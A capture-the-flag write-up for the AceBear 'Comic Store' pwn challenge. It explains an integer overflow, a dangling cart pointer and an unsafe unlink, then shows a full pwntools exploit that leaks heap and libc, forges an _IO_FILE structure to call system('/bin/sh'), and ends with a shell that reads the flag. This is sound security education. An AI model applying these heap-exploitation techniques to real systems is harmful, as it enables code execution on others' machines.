Comic Store (4 Solves) (991 points)

Attachment: comic_store libc.6 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
**************************Welcome to Comic Sotre**************************
*                                                                        *
*************************Challenge Created By CNV*************************
*   Team: AceBear                                                        *
*   My blog: https://chung96vn.blogspot.com/                             *
**************************************************************************

********************Comic Store*****************
*                                              *
* 1 - Register                                 *
* 2 - Show list comic                          *
* 3 - Add comic to your cart                   *
* 4 - Customer's management                    *
* 5 - Order's management                       *
* 6 - Checkout                                 *
* 7 - Exit                                     *
*                                              *
************************************************
Your choice:

Comic Store was quite tricky to get started with.

After registration you were given 300 000 dongs, which you can use to buy comics:

******************************List********************************
*                          Name *           Price *     Quantity *
******************************************************************
*                         Conan *       31000 VND *      1000000 *
******************************************************************
*                   Dragon Ball *       30000 VND *      1000000 *
******************************************************************
*                      Doraemon *       26000 VND *      1000000 *
******************************************************************
*                     One Piece *       23000 VND *      1000000 *
******************************************************************
*                      Inuyasha *       22000 VND *      1000000 *
******************************************************************
*                        Naruto *       23000 VND *      1000000 *
******************************************************************
*                    Death Note *       21000 VND *      1000000 *
******************************************************************
*                  Kattobi Itto *       19000 VND *      1000000 *
******************************************************************
*              Kyou Kara Ore Wa *       25000 VND *      1000000 *
******************************************************************
*                 Ninja Rantaro *       24000 VND *      1000000 *
******************************End*********************************
Name of comic: Conan
Quantity: 1000000
Not enough money!

Let’s quickly go through the available menu options

  • Register : Obviously register a user
  • Show list comic : Show a list of available comics in the shop
  • Add comic to your cart : Put a specific quantity of comics into your cart
  • Customer's management : Show customer info and rename user and give feedback
  • Order's management : Show cart and remove comics from your cart
  • Checkout : Buy the comics in your cart
  • Exit : Calling exit(0)

Going through the complete reversing of the binary would take up too much place, but let’s take a look at the important stuff at least.

Pseudo code for the used structures in the binary

struct ShopInfo {
  UserInfo* User;         // Current registered user
  CartList* Cart;         // List of comics in your cart
  Feedback* Feedback;     // List of given feedback
  CartCount* CartCount;   // List of comic quantity in your cart
  int TotalMoney;         // Current total of the items in the cart
  long CartSize;          // Count of entries in the cart
}

struct UserInfo {
  char* sUsername;
  int Money;
  int Unknown;
}

struct CartList {
  ComicEntry* Items[6];   // Array of pointers to comic list enries
}

struct CartCount {
  long Quantity[6];       // Array of quantities put into the cart
}

struct Feedback {
  char* Entry[3]          // Array of feedback strings
  int Count;              // Count of given feedbacks
}

struct ComicEntry {
  Comic* PtrComic;        // Pointer to the corresponding comic
  ComicEntry* Prev;       // BK
  ComicEntry* Next;       // FD
}

struct Comic {
  char* Name;             // Name of the comic
  int Price;              // Price of one comic
  int Quantity;           // Amount of available comics in the shop
}

The available comics are stored in a linked list with a pointer COMIC_LIST pointing to the head of the comic list.

We can put up to 6 different comics into our cart, which will effectively put a pointer to the entry in the linked list of the corresponding comic into our cart.

The comic list and the user object will be allocated and initialized on startup, so we have no control over this.

Checking for calls to free show, that objects will only be freed on checkout and on rename customer (though renaming the customer is only allowed once), so let’s take a deeper look at those functions.

void rename_customer()
{
  char s[272];
  
  free(SHOP_INFO->User->Username);

  printf("Customer's name: ");
  memset(&s, 0, 272uLL);
  read_string(&s, 256u);
  
  SHOP_INFO->User->Username = cust_strdup(&s);
  
  HAS_RENAMED = 1;  
}

char* cust_strdup(const char *name)
{
  int len_name; 
  char* dest; 

  len_name = strlen(name);
  dest = malloc(len_name + 1);

  if ( !dest )
    error();

  memcpy(dest, name, len_name);
  return dest;
}

So renaming the user would end up in doing some kind of realloc if the new length of the string differs from the initial size. Since malloc is used the allocated chunk won’t be zero’d and we could use this for leaking, if we’d have a freed chunk containing a FD/BK pointer to the heap or libc (main arena). Which we currently don’t have, but let’s keep this in mind.

The real important thing in the comic store is the checkout function, which shall lead us to victory later on:

void *checkout()
{  
  // [SNIP]... Just printing out the current cart ...

  SHOP_INFO->User->Money -= SHOP_INFO->TotalMoney;

  for ( int j = 0; j <= 5 && SHOP_INFO->Cart->Items[j] && SHOP_INFO->Cart->Items[j]->PtrComic; ++j )
  {
    // Unlink and free comics that are sold out
    if ( !SHOP_INFO->Cart->Items[j]->PtrComic->Quantity )
    {
      // This looks pretty much like "unsafe unlink"
      if ( SHOP_INFO->Cart->Items[j] == COMIC_LIST )
        COMIC_LIST = SHOP_INFO->Cart->Items[j]->Next;
      if ( SHOP_INFO->Cart->Items[j]->Prev )
        SHOP_INFO->Cart->Items[j]->Prev->Next = SHOP_INFO->Cart->Items[j]->Next;
      if ( SHOP_INFO->Cart->Items[j]->Next )
        SHOP_INFO->Cart->Items[j]->Next->Prev = SHOP_INFO->Cart->Items[j]->Prev;

      free(SHOP_INFO->Cart->Items[j]->PtrComic);
      free(SHOP_INFO->Cart->Items[j]);
    }
  }

  // Free the cart and recreate it
  free(SHOP_INFO->Cart);
  SHOP_INFO->Cart = 0LL;
  SHOP_INFO->CartSize = 0;
  printf("Do you want to buy more?(1:yes or 0:no) ");

  if ( read_number() != 1 )
  {
    puts("Thank you!\n See you again!");
    exit(0);
  }

  SHOP_INFO->TotalMoney = 0;  
  SHOP_INFO->Cart = (CartList *)malloc(0x30);

  memset(SHOP_INFO->CartCount, 0, 24);
}

Multiple important things happen here, which should be noted.

Unlinking comics, that are sold out

When we buyout all available comics, so their quantity falls to 0, the checkout method will unlink the ComicEntry for this comic from the available comic list and free the Comic object and the ComicEntry pointer for it. This will create two freed chunks on the heap (which we can use for leaking and some other mean stuff).

Free and recreate the cart

This is not so obvious from a quick glance at the code, but the recreation of the cart is faulty.

  • It will free the cart object (creating a freed chunk in the fastbin list)
  • Sets the pointer for the cart to 0 (so everythings fine?)
  • Directly allocating the cart object again (which will serve us the just freed chunk without initializing it)

The free on the cart object will zero out the first qword of the cart chunk. The following malloc will just serve us the same chunk we just freed, without initializing it. Now checking the order list will show us an empty cart, so it seems everythings fine. But this only happens because the first entry of the cart got cleared by free, the following comic entries are still there (they just won’t be shown since it breaks on the first empty entry)!

So, if you buy two different comics, this will create two entries in the cart item list. Checking out will effectively only remove the first entry, letting the rest of the cart intact. If we now buy only one (other) comic it will set the first entry, fixing up the cart list. After this all the previous comics will again be available in the cart.

This is important to understand for the exploitation of this binary:

Buying two comics...

CartList:
  - ComicEntry => Comic 1
  - ComicEntry => Comic 2

Checkout...

CartList:
  - NULL
  - ComicEntry => Comic 2

Buying one comic (other than comic 2)...

CartList:
  - ComicEntry => Comic 3
  - ComicEntry => Comic 2

Having the ComicEntry for Comic 2 showing up again alone, won’t help us much, but combining this with the first observation can be used to create a dangling pointer allowing us to exploit it in a kind of use-after-free.

Buy two comics...

CartList:
  - ComicEntry => Comic 1 (Quantity 1)
  - ComicEntry => Comic 2 (Quantity 1000000)

Checkout...

Since this checkout will buy all available comics of Comic 2, the corresponding ComicEntry and Comic object will be freed

CartList:
  - NULL
  - ComicEntry => NULL (The comic entry was freed, but is still linked in our cart list array)

If we’d now be able to overwrite the dangling ComicEntry with something useful, we could use the unsafe unlinking in checkout to overwrite an arbitrary address.

But well, we’re still at square one, because with 300 000 dongs, we won’t be able to buy 1 000 000 comics to start with. So, let’s keep this in mind also and think about a way to “earn” money, instead of spending it :)

For this, we’ll check the process of buying comics in add_comic_to_cart

void add_comic_to_cart()
{
  __int32 quantity; 
  __int32 total_price;
  ComicEntry *comic; 
  char comic_name; 
  
  show_list_comic(COMIC_LIST);
  
  printf("Name of comic: ");
  memset(&comic_name, 0, 0x40);
  read_string(&comic_name, 48);
  printf("Quantity: ", 48);
  quantity = read_number();

  comic = search_comic_by_name(COMIC_LIST, &comic_name);

  if ( comic )
  {
    if ( comic->PtrComic->Quantity < (unsigned __int32)quantity )
      puts("Not enough comic!");
    else
    {
      // Calculate the price of the specified amount of comics
      total_price = quantity * comic->PtrComic->Price;
   
      // Check if we got enough money to buy this
      if ( (unsigned int)(total_price + SHOP_INFO->TotalMoney) > SHOP_INFO->User->Money )
        puts("Not enough money!");
      else if ( SHOP_INFO->CartSize == 6 )
        puts("Your cart is full!");
      else
      {
        // Add the specified amount of comics to our cart
        insert_comic_to_cart(comic, quantity);
        SHOP_INFO->TotalMoney += total_price;
        puts("Done!");
      }
    }
  }
  else
    printf("We don't have %s\n", &comic_name);
}

This will let us specify a comic and the quantity we want to buy and calculates the amount of money we need for this. If we got enough money, this will happily add the comics to our cart.

Quantity and Total price are stored as __int32. Nuff said?

No? Ok, let’s elaborate on this.

  • We can specify the quantity of comics as __int32 (4 bytes)
  • The quantity will then be multiplied by the price of one comic (also __int32)
  • It will then add the current money of the items already in the cart (also __int32) on top of it and compare it to the money our user owns.

Still not?

  • The total price will be converted to unsigned int
  • The maximum value for unsigned int is 0xffffffff (4294967295)
  • If this value gets bigger, it will wrap back to 0x0 and count upwards again

So, if we buy an amount of comics, so that quantity * comic->PtrComic->Price will get bigger than 4294967295 the total_price will jump back to 0 (but the quantity will not).

We could use this repeatedly to buy out all the comics, but we won’t be able to hit exactly 0 with this. Buuut, we can so totally abuse this to make us so rich, we could buy the whole shop.

We just buy 138548 Conan comics, which will only cost us 20704 dong thanks to the integer overflow (what a bargain :)).

138548 * 31000 = 0x1000050E0

too big for unsigned int, so it will only use the lower 4 bytes

=> 0x000050E0 = 20704
******************************************************************
* Total money                   *                      20704 VND *
******************************************************************
*                          Name *           Price *     Quantity *
******************************************************************
*                         Conan *       31000 VND *       138548 *
*******************************End********************************

But then again, why should we read so many times the same comic. Hey shop owner, could you take back some of those?

How about refunding me the money for 138538 comics?

138538 * 31000 = 0xFFFB95F0

this fits nicely into an unsigned int, so we'll be refunded with

=> 0xFFFB95F0 => 4294678000 dongs... neat :)

******************************Info********************************
* Name:        * [SNIP]                                          *
******************************************************************
* Money:       *                                      4294957296 *
******************************************************************
def add_to_cart(name, quantity):
  r.sendline("3")
  r.sendafter("comic: ", name)
  r.sendafter("Quantity: ", str(quantity))
  r.recvuntil("Your choice: ")

def remove_comic(name, quantity):
  r.sendline("5")
  r.recvuntil("Your choice: ")
  r.sendline("2")
  r.sendafter("comic: ", name)
  r.sendafter("Quantity: ", str(quantity))
  r.recvuntil("Your choice: ")
  r.sendline("3")
  r.recvuntil("Your choice: ")

def checkout():
  r.sendline("6")
  r.sendlineafter("no) ", "1")
  r.recvuntil("Your choice: ")

def cheat_money(COMIC, PRICE, CUR_MONEY):
  add_to_cart(COMIC, (0xffffffff / PRICE) + 1)  
  remove_comic(COMIC, (0xffffffff / PRICE) - (CUR_MONEY/PRICE))

  checkout()

def exploit(r):
  r.recvuntil("Your choice: ")

  register("A"*256)

  log.info("Increase money by overflowing cart price.")
  cheat_money("Conan", 31000, 300000 )

Ok, that should wrap it up on getting rich quickly, and now it’s shopping time :)

So, the shop owner might now have to take some additional mortgages to get out his huge debt, but we’re not finished with hurting him even more.

With all this money we’ll now mess up his nicely set up comic list.

Remember, ASLR, PIE, FULL RELRO? We’ll need some leaks to get over this, so let’s get started with getting some information out of this poor shop owner (though we’ll be helping him a little to get out of the debts, so it should be fine :P).

Some freed chunks would help in this. There are only two ways of getting a free chunk in this binary (Buying out all comics of one type and renaming our user).

So, we’ll be using both to leak heap and main_arena ptr.

def feedback(type, content):
  r.sendline("4")
  r.recvuntil("Your choice: ")
  r.sendline("3")
  r.sendafter("choice: ", str(type))  
  r.sendafter(": ", content)
  r.recvuntil("Your choice: ")
  r.sendline("4")
  r.recvuntil("Your choice: ")

def get_user_info(content_count=0):
  r.sendline("4")
  r.recvuntil("Your choice: ")
  r.sendline("1")
  r.recvuntil("Name:        *")
  name = r.recvuntil(" *", drop=True).strip()
  r.recvuntil("Money:       *")
  money = r.recvuntil(" *", drop=True).strip()

  contlist = []

  for i in range(content_count):
    r.recvuntil("Content %d:" % i)
    r.recvuntil("*")
    contlist.append(r.recvuntil(" *", drop=True).strip())

  r.recvuntil("Your choice: ")
  r.sendline("4")
  r.recvuntil("Your choice: ")

  return name, money, contlist

def exploit(r):
  ...

  log.info("Free Ninja comic to prepare heap leak (and reduce Conan comic count to 1).")
  add_to_cart("Ninja Rantaro", 1000000) 
  add_to_cart("Conan", 999990-1)    
  checkout()

  log.info("Rename user to leak heap address from freed Ninja Rantaro chunk.")
  rename("A")

  log.info("Create (big) feedback in user object to leak libc.")
  feedback(2, "A")

  name, desc, content = get_user_info(1)

  HEAP = u64(("\x00"+name[1:]).ljust(8, "\x00")) - 0x200
  MAIN_ARENA = u64(("\x00"+content[0][1:]).ljust(8, "\x00"))+0x78
  libc.address = MAIN_ARENA - 0x3c4b78

  log.info("HEAP         : %s" % hex(HEAP))
  log.info("MAIN_ARENA   : %s" % hex(MAIN_ARENA))
  log.info("LIBC         : %s" % hex(libc.address))

Buying 10000000 of Ninja Rantaro and checking out will result in freeing the ComicEntry and the corresponding Comic object for this.

Renaming the user to A will result in freeing the previous username (Size 0x110) and allocating a new username (Size 0x21, which happens to match the size of the previously freed ComicEntry object).

This will create the new username inside of the previously freed ComicEntry which contains a FD pointer pointing to the Comic object, which we now can leak via the username (heap leak).

But renaming the user also freed that 0x110 chunk, which, since it doesn’t fit into fastbin list, now contains a FD pointer to main_arena. Pretty useful, so we create a big feedback, which will then gets served the previously freed username chunk, so we can leak the main_arena pointer via the feedback.

Checking the customer info after this:

******************************Info********************************
* Name:        *                                          A\x92uUUU *
******************************************************************
* Money:       *                                       834905848 *
******************************************************************
*                          Feedback                              *
******************************************************************
* Content 0:   *                                          A\x1b��\xff\x7f *
******************************End*********************************

[*] Increase money by overflowing cart price.
[*] Free Ninja comic to prepare heap leak (and reduce Conan comic count to 1).
[*] Rename user to leak heap address from freed Ninja Rantaro chunk.
[*] Create (big) feedback in user object to leak libc.
[*] HEAP         : 0x555555759000
[*] MAIN_ARENA   : 0x7ffff7dd1b78
[*] LIBC         : 0x7ffff7a0d000

Still, we don’t know PIE but we won’t need it to get this finished.

What can we do now?

  • Overwriting got entries => FULL RELRO - Not an option
  • Overwriting malloc_hook => Binary only allocs 0x21 or 0x110 chunks - Not an option
  • Calling one_gadget => Bleh, none of the constraints can be fulfilled :(
  • Doing some _IO_file magic => Yay, way to go :)

The attack plan:

  • Forge a fake _IO_file struct on the heap
  • Free another comic entry to create a dangling pointer
  • Overwrite this comic entry and forge FD/BK to overwrite _IO_file_all with our fake file struct in the unsafe unlink in checkout
  • Exit to trigger _IO_flush_all_lockp => _IO_new_file_overflow

Let’s finish this quickly. Creating the fake _IO_file struct is easy, since we still have two feedbacks left (to be honest, I had to rewrite my exploit at this point, since I used up the available feedbacks for leaking heap and libc. So I needed to optimize the leaking, whilst using as few feedbacks as possible).

log.info("Prepare fake file table on heap via feedback")
payload = "/bin/sh\x00" + p64(0)                  # flags / _IO_read_ptr
payload += p64(0) + p64(0)                        # _IO_read_end     / _IO_read_base
payload += p64(0) + p64(1)                        # _IO_write_base   / _IO_write_ptr
payload += p64(0) + p64(0)                        # _IO_write_end
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(HEAP+0x568-0x18)          # <= Jump table (pointing also to this line)
payload += p64(0) + p64(libc.symbols["system"])   # _IO_new_file_overflow (Jump table + 0x18)

feedback(2, payload)                              # Write fake _IO_file into heap

Since _IO_write_ptr (1) is bigger than _IO_write_base (0), this will call _IO_new_file_overflow when IO_flush_all_lockp is called (which will happen on exiting the store).

A nice thing here is, that the first argument to _IO_new_file_overflow will be a pointer to the _IO_file struct itself (which thus points to the string “/bin/sh”) as angelboy taught us in Play with FILE structure :)

Since we still own enough money to buy this whole shop twice, getting another free ComicEntry chunk is quickly done with

log.info("Buy remaining conan comic to create another freed comic chunk")

add_to_cart("Dragon Ball", 1) # Put random comic into first cart item entry
add_to_cart("Conan", 1)       # Put remaining conan comic into second cart item entry
checkout()

This will free the Conan comic, while keeping it in the cart list (remember to put it in the second slot, though).

Now we can overwrite the ComicEntry for Conan by giving a small feedback:

log.info("Overwrite freed conan comic chunk with fake chunk to prepare unsafe unlink")

payload = p64(HEAP+0x70)                  # Comic entry (points to a comic with quantity 0)
payload += p64(HEAP+0x480)                # Prev
payload += p64(libc.address+0x3c5520-8)   # Next (overwrite IO_list_all)

feedback(1, payload)

log.info("Put random comic into slot 1 and checkout again to trigger unsafe unlink")
add_to_cart("Dragon Ball", 1)

checkout()

Since the checkout method will validate every entry in the comic cart, checking if it has a quantity of 0, we’ll just let it point to the Ninja Rantaro chunk, which had a quantity of 0 (or maybe it was the remaining Conan entry, doesn’t really matter). So checkout will think this comic was just sold out and unlink it, which will then overwrite IO_list_all with the address of our fake forged _IO_file struct on the heap.

Adding another random comic into slot 1 to make our freed chunk appear again in the cart list, and free it via checkout.

Now, all there’s left to do is to exit this derelict shop to trigger the magic :)

log.info("Exit to trigger _IO_new_file_overflow => system('/bin/sh')")
r.sendline("7")

r.interactive()

This will call exit(0), which then will flush the file pointers from IO_list_all, thus trying to flush our fake file struct on the heap.

Since _IO_write_ptr was set to a higher value than _IO_write_base, this will try to call the _IO_new_file_overflow vtable function from the corresponding jump table, which now points to system. Like already stated, this will pass a pointer to the _IO_file struct itself as the first argument. And since we put /bin/sh there, this will effectively be calling system("/bin/sh") et voilà

$ python xpl.py 1
[*] '/vagrant/Challenges/acebear/comicstore/comic_store/comic_store'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/vagrant/Challenges/acebear/comicstore/comic_store/libc.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to comicstore.acebear.site on port 3005: Done
[*] Increase money by overflowing cart price.
[*] Free Ninja comic to prepare heap leak (and reduce Conan comic count to 1).
[*] Rename user to leak heap address from freed Ninja Rantaro chunk.
[*] Create (big) feedback in user object to leak libc.
[*] HEAP         : 0x556fc240c000
[*] MAIN_ARENA   : 0x7fb688679b78
[*] LIBC         : 0x7fb6882b5000
[*] Prepare fake file table on heap via feedback
[*] Buy remaining conan comic to create another freed comic chunk
[*] Overwrite freed conan comic chunk with fake chunk to prepare unsafe unlink
[*] Put random comic into slot 1 and checkout again to trigger unsafe unlink
[*] Exit to trigger _IO_new_file_overflow => system('/bin/sh')
[*] Switching to interactive mode
$ ls
comic_store
flag
run.sh
$ cat flag
AceBear{pl3ase_read_comic_wh3n_u_h4ve_fr33_tim3}